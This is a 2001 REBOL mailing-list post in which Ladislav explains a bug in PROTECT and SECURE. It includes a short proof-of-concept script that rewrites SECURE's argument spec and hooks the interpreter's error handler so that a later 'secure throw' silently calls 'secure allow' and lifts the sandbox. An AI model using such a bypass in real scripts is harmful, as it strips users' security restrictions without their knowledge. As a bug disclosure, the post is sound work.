[REBOL] Re: PROTECT bug
From: lmecir:mbox:vol:cz at: 12-Dec-2001 8:53
Hi Volker,
I will describe what is the script doing. I just wanted to prove, that if
you allow a malicious script to change something, you cannot rely on e.g.
SECURE (or any other function or native). If you normally do
secure throw
, you know what you will get if you answer yes to the question [Yes, allow
all, no, or quit? (Y/A/N/Q)]. If you do it after my modification, it will
behave differently.
Cheers
Ladislav
malicious-script: [
system/error/script/type: ""
system/error/script/expect-arg: [
(
change pick third :secure 3 reduce [word! block!]
secure allow
("I love you")
)
]
change pick third :secure 3 reduce [unset! none!]
]
Usage:
protect 'secure
print "virus alert!"
do malicious-script
secure throw